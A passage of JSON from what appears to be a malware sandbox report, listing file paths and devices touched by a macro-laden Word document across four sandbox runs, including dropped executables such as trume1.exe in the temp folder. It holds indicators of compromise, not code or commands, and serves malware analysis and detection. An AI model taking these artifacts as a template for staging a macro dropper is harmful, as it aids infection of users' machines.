,{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"C:\\","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\_70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e_pmB3A6","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\_70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e_pmB3A6.LNK","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Lokaler Datentr","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Lokaler Datentrger (Z).LNK","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{899EE1CA-427D-4C72-9D0F-E92E1EA434C9}.tmp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%WINDIR%\\SysWOW64\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\OFFICE12\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%PROGRAMFILES(X86)%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%PROGRAMFILES(X86)%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL\\3","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%TEMP%\\VBE","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\System32\\msxml3.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\System32\\msxml3.dll\\1","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SysWOW64\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"\\Device\\NetBT_Tcpip6_{85C6619C-A5E8-4995-B351-1F8B696A9C13}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"\\Device\\NetBT_Tcpip6_{99EEFFB2-AB17-4BFC-9BBC-D2001E0C4FC5}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"\\Device\\NetBT_Tcpip6_{C23E0E89-6218-47AD-AAA6-4A30095E2323}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"\\Device\\NetBT_Tcpip_{99EEFFB2-AB17-4BFC-9BBC-D2001E0C4FC5}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"\\Device\\Afd\\AsyncConnectHlp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\YB8HQDNM\\87i4g3d2d2[1].exe","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\WINWORD.EXE","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SysWOW64\\shell32.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\AppPatch\\pcamain.sdb","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%TEMP%\\trume1.exe","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"C:\\PROGRA~3\\MICROS~1\\OFFICE\\DATA\\opa12.dat","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{E06B916A-0BBF-495F-9071-E1539A5BAC3A}.tmp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{5EA67B33-F5D0-4263-BF76-CD6671668C7C}.tmp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Word12.pip","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\system\\ado\\msadox.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%WINDIR%\\system32\\oleacc.dll","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\12.0\\","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%TEMP%\\CabD6BE.tmp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%TEMP%\\TarD6BF.tmp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%TEMP%\\CabD8F3.tmp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%TEMP%\\TarD8F4.tmp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{99EEFFB2-AB17-4BFC-9BBC-D2001E0C4FC5}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{85C6619C-A5E8-4995-B351-1F8B696A9C13}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C23E0E89-6218-47AD-AAA6-4A30095E2323}","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%TEMP%\\CabF0A3.tmp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%TEMP%\\TarF0A4.tmp","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\STFGKOG5\\157_252_245_32[1].txt","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"path":"%TEMP%\\CVREB1F.tmp","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000019.db","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{713FD58D-9FFB-4849-8121-A5FD527655BE}.tmp","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"C:\\pmB3A6.doc","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%TEMP%\\~DFE3E341D35D77F631.TMP","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"C:\\~$pmB3A6.doc","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{FDE3979D-543A-447B-A596-4DA1F8896750}.tmp","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\pmB3A6","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\pmB3A6.LNK","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{85C77B5C-446C-4A67-A819-2C453EAEF2B0}.tmp","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\System32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL\\3","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\System32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\System32\\shell32.dll","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\System32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"C:\\Users\\wa1wUrc","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\System32\\en-US\\duser.dll.mui","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%WINDIR%\\System32\\imageres.dll","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office12\\Cultures\\office.odf","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE11\\msxml5.dll","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\mxdwdui.BUD","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\StdNames.gpd","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\mxdwdui.gpd","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\mxdwdui.ini","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%USERPROFILE%\\Documents\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%USERPROFILE%\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{2D49964E-0ADC-492A-855B-75D64EBC810A}.tmp","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\en-US\\wdmaud.drv.mui","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\en-US\\MMDevAPI.DLL.mui","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"pci#ven_8086&dev_100e&subsys_001e8086&rev_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{d0b53124-e232-49fc-9ea9-75fa32c7c6c3}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#*isatap#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{9c9c1d9a-e45a-41f9-8d98-d3b6ea5d768d}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#*teredo#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{72d885c2-0aec-4510-95d5-bf120a963535}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#ms_agilevpnminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{dcb14c61-690d-46f7-8a89-150432fa5c44}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#ms_l2tpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{483c9ff8-503d-414b-b402-e4c1f1f568cb}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#ms_pppoeminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{db2b4279-b5cf-4626-9dba-32d0ece44c87}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#ms_pptpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{c0de3e38-8ba7-479f-8b75-833f294c5aa8}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"root#ms_sstpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{e28d896f-9ea8-433a-9c10-66c97c19a921}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES(X86)%\\MICROS~1\\OFFICE\\DATA\\OPA12.BAK","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES(X86)%\\MICROS~1\\OFFICE\\DATA\\opa12.dat","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%TEMP%\\~DF88B97F021376D36E.TMP","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"C:\\share\\~$pmB3A6.doc","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{B3C14EA4-A831-4234-84E5-AB6CA39EAD6A}.tmp","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (Z)","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (Z).LNK","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{BABAE6E3-5708-46F6-A03D-34422503CAE1}.tmp","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft 